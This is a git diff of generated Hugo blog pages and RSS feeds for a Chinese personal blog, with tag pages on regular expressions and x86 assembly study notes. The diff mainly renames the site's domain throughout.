+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>正则表达式 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="正则表达式"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="正则表达式"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>正则表达式</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>正则表达式学习笔记</h2></header><div class=entry-content><p>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
 var hallo = new RegExp(/123/);
@@ -32,7 +32,7 @@
 var hallo = /^[^a-z]$/;
 在方括号内部加^，就是代表取反，不能包含a到z其中的一个字母
 量词符（*，+，?）
-var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://xiaochenabc123.github.io/posts/52/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+var hallo = /a*/;...</p></div><footer class=entry-footer><span title='2021-07-02 18:12:00 +0000 UTC'>2021-07-02</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 正则表达式学习笔记" href=https://chenjunlinabc.github.io/posts/52/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/index.xml" "b/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/index.xml"
index ce7f3942..888054af 100644
--- "a/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/index.xml"
+++ "b/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>正则表达式 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link>
     <description>Recent content in 正则表达式 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 02 Jul 2021 18:12:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 02 Jul 2021 18:12:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>正则表达式学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/52/</link>
+      <link>https://chenjunlinabc.github.io/posts/52/</link>
       <pubDate>Fri, 02 Jul 2021 18:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/52/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/52/</guid>
       <description>正则表达式（Regular Expression）是用于匹配字符串中字符组合的模式，在JavaScript中，正则表达式也是对象
 JavaScript创建正则表达式
 使用RegExp对象创建
diff --git "a/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/page/1/index.html" "b/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/page/1/index.html"
index c4e88941..6fd608a7 100644
--- "a/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/page/1/index.html"
+++ "b/tags/\346\255\243\345\210\231\350\241\250\350\276\276\345\274\217/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"></head></html>
\ No newline at end of file
diff --git "a/tags/\346\261\207\347\274\226/index.html" "b/tags/\346\261\207\347\274\226/index.html"
index b74f1e0a..c08b0eb5 100644
--- "a/tags/\346\261\207\347\274\226/index.html"
+++ "b/tags/\346\261\207\347\274\226/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>汇编 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="汇编"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="汇编"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>汇编</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>汇编 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="汇编"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="汇编"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>汇编</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>汇编基础学习笔记</h2></header><div class=entry-content><p>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
 EAX的低16位可以被单独使用，引用名称叫AX（高位是左边位，低位是右边位），AX又可以被分为高8位的AH和低8位的AL
@@ -50,7 +50,7 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
-物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://xiaochenabc123.github.io/posts/162/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+物理空间不够分配时，操作系统可以将少使用的物理页面写入到磁盘交换分区（Swap分区）中，将空出来的页面给需要的进程使用，注意：当在磁盘交换分区中内存页面被访问了，也会触发page fault处理，操作系统通过page failt handle来将磁盘交换分区的内存页面加载回内存中...</p></div><footer class=entry-footer><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://chenjunlinabc.github.io/posts/162/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\346\261\207\347\274\226/index.xml" "b/tags/\346\261\207\347\274\226/index.xml"
index 4fb3c3cb..d7c78405 100644
--- "a/tags/\346\261\207\347\274\226/index.xml"
+++ "b/tags/\346\261\207\347\274\226/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>汇编 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/</link>
     <description>Recent content in 汇编 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 20 Nov 2022 11:49:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>汇编基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/162/</link>
+      <link>https://chenjunlinabc.github.io/posts/162/</link>
       <pubDate>Sun, 20 Nov 2022 11:49:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/162/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/162/</guid>
       <description>x86架构通用寄存器（32位的x86架构和64位的x86_64架构）
 x86_64架构由amd公司推出，因此又叫amd64架构，64位架构是基于32位架构扩展的
 32位架构的x86处理器具备8个32位的通用寄存器，可通过名称来引用这8个寄存器，分别为EAX，ECX，EDX，EBX，ESP，EBP，ESI，EDI
diff --git "a/tags/\346\261\207\347\274\226/page/1/index.html" "b/tags/\346\261\207\347\274\226/page/1/index.html"
index a5a8c682..92e3190a 100644
--- "a/tags/\346\261\207\347\274\226/page/1/index.html"
